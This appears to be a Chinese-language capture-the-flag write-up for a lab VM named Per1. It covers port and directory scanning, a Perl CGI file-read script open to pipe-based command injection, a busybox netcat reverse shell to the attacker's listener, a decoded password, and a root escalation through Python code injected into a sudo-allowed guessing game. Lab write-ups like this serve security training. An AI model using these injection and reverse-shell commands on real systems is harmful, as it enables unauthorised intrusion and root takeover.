Per1

目录扫描

```python
nmap -p- 192.168.31.236
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-09 15:23 CST
Nmap scan report for Per1 (192.168.31.236)
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:7D:2F:C8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds
```

```
<div><!-- cgi --></div> 源码强调cgi
```

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 192.168.31.236/cgi-bin/ -x cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.31.236/cgi-bin/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              cgi
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/file.cgi             (Status: 200) [Size: 22]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================
```

```
#!/usr/bin/perl
use CGI;
print CGI::header();
my $input = CGI::param('file');
if($input) {
    open(FILE, $input);
    print while <FILE>;
    close(FILE);
}
```

```
else {
    print "Missing file parameter";
}
```

利用文件包含和 Perl 的 `open` 特性

2. 利用文件包含和 Perl 的 open 特性
Perl 的 open 支持以特殊方式打开文件，比如：
open(FILE, "ls -la |");
用管道读命令输出。

如果你能传入参数包含管道符 |，而脚本没有过滤，可以绕过执行命令。

```
http://192.168.31.236/cgi-bin/file.cgi?file=ls|
http://192.168.31.236/cgi-bin/file.cgi?file=busybox nc 192.168.31.188 6666 -e sh|
```

```
python3 penelope.py  6666
[+] Listening for reverse shells on 0.0.0.0:6666 →  127.0.0.1 • 192.168.31.188 • 172.17.0.1 • 172.18.0.1 • 172.19.0.1
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from Per1~192.168.31.236-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/Per1~192.168.31.236-Linux-x86_64/2025_08_09-16_19_53-797.log 📜
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
www-data@Per1:/usr/lib/cgi-bin$
```

user

在opt下有个文件password.pl

```
my @char_generator = (

    [103, 3],
    [126, 5],
    [115, 7],
    [98,  1],
    [112, 2],
    [58,  6],
    [105, 4],
    [122, 4],
    [102, 5]
);


my @decoy_blocks = (
    {values => [66, 71, 77], offsets => [2, 3, 5]},
    {values => [85, 90, 95], offsets => [4, 1, 6]},
    {values => [105, 110, 115], offsets => [3, 7, 2]}
```

```
);


my $output;
for my $i (0..4) {

    if ($i < 3) {
        my ($val, $off) = @{$char_generator[$i]};
        $output .= chr($val - $off);
    }

    else {

        if ($i == 4) {
            my $noise = $decoy_blocks[0]{values}[0] - $decoy_blocks[0]{offsets}[0];

        }

        for my $j (($i == 3) ? (3..5) : (6..8)) {
            my ($val, $off) = @{$char_generator[$j]};
            $output .= chr($val - $off);
        }
        last;
    }
}

print $output . "\n";
```

```
www-data@Per1:/usr/lib/cgi-bin$ perl /opt/password.pl
dylan4
得到密码
home得到用户名 ssh连接
```

提权

sudo -l 发现可以以root运行

```
sunset@Per1:/home$ sudo -l
Matching Defaults entries for sunset on Per1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on Per1:
    (ALL) NOPASSWD: /usr/bin/python /usr/bin/guess_game.py
```

```
sunset@Per1:/home$ sudo /usr/bin/python /usr/bin/guess_game.py
Welcome to the guess game!
I've chosen a number between 0 and 65535.
Your guess:  __import__('os').system('cat /root/root.txt')
flag{root-c27679de03aba03c5a33159aef11f8ea}
Wrong! The correct number was 39218
```

```
sunset@Per1:/home$ sudo /usr/bin/python /usr/bin/guess_game.py
Welcome to the guess game!
I've chosen a number between 0 and 65535.
Your guess: __import__('os').system('/bin/bash')
root@Per1:/home#
```